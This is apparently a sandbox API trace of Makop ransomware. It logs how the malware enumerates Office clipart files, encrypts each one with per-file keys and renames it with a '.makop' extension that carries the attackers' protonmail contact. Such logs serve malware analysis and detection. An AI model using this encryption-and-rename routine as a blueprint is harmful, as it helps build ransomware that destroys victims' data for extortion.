0x48a0000 [0131.996] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.996] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0132.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.001] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.001] GetProcessHeap () returned 0x48a0000 [0132.001] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.001] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.001] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.002] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.002] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.002] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60c2, lpOverlapped=0x0) returned 1 [0132.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60d0) returned 1 [0132.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x60d0, lpOverlapped=0x0) returned 1 [0132.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.005] SetEndOfFile (hFile=0xf0) returned 1 [0132.012] GetProcessHeap () returned 0x48a0000 [0132.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.012] GetProcessHeap () returned 0x48a0000 [0132.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.012] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.013] CloseHandle (hObject=0xf0) returned 1 [0132.014] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0132.014] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF") returned 63 [0132.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.014] GetProcessHeap () returned 0x48a0000 [0132.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0132.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.019] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.019] GetProcessHeap () returned 0x48a0000 [0132.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.019] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.019] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.019] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.019] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.020] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.020] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.020] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x51be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x51be, lpOverlapped=0x0) returned 1 [0132.022] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51c0, dwBufLen=0x51c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51c0) returned 1 [0132.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x51c0, lpOverlapped=0x0) returned 1 [0132.022] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.023] SetEndOfFile (hFile=0xf0) returned 1 [0132.029] GetProcessHeap () returned 0x48a0000 [0132.029] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.029] GetProcessHeap () returned 0x48a0000 [0132.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.030] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.031] CloseHandle (hObject=0xf0) returned 1 [0132.031] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0132.031] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF") returned 63 [0132.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.032] GetProcessHeap () returned 0x48a0000 [0132.033] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.033] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.033] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.033] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.033] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.033] GetProcessHeap () returned 0x48a0000 [0132.033] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.033] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.033] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.033] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.039] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x59a0, lpOverlapped=0x0) returned 1 [0132.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59a0, dwBufLen=0x59a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59a0) returned 1 [0132.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x59a0, lpOverlapped=0x0) returned 1 [0132.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.042] SetEndOfFile (hFile=0xf0) returned 1 [0132.048] GetProcessHeap () returned 0x48a0000 [0132.048] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.048] GetProcessHeap () returned 0x48a0000 [0132.048] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.048] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.050] CloseHandle (hObject=0xf0) returned 1 [0132.050] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0132.050] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF") returned 63 [0132.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.053] GetProcessHeap () returned 0x48a0000 [0132.053] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.053] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.053] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.057] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.057] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.057] GetProcessHeap () returned 0x48a0000 [0132.057] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.057] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.057] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.059] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1334, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1334, lpOverlapped=0x0) returned 1 [0132.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1340, dwBufLen=0x1340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1340) returned 1 [0132.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1340, lpOverlapped=0x0) returned 1 [0132.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.061] SetEndOfFile (hFile=0xf0) returned 1 [0132.067] GetProcessHeap () returned 0x48a0000 [0132.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.067] GetProcessHeap () returned 0x48a0000 [0132.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.067] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.069] CloseHandle (hObject=0xf0) returned 1 [0132.069] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0132.069] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF") returned 63 